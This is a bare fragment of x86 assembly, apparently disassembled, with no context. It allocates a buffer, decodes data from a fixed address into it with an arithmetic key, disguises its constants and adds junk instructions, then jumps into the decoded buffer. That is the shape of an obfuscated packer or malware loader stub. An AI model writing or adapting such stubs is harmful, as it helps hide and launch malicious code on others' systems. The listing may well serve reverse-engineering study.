add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0xd1bc4118
sub ecx, 0xd1bbeb99
mov edi, eax
mov esi, 0x44c600
add esi, dword [ebp - 0x24]
mov ebx, 0x78cfe10c
add ebx, 0x608b06ab
xor dword [ebp - 0x10], eax
mov edx, dword [esi]
add dword [ebp - 0x14], 0xedc55092
add edx, ebx
add dword [ebp - 0x14], ebx
mov dword [edi], edx
xor dword [ebp - 0x10], 0xf3dacf21
add edi, 4
add esi, 0xe31f546c
sub esi, 0xe31f5468
loop 0x406738
add eax, 0xa91372c3
sub eax, 0xa91229f4
xor ebx, ebx
add ebx, eax
add eax, 0x6c571c07
sub eax, 0x6c571c02
mov ecx, 0x560e9164
add ecx, 0xaa316e9c
add ecx, dword [ebp - 0x24]
call ebx
leave
ret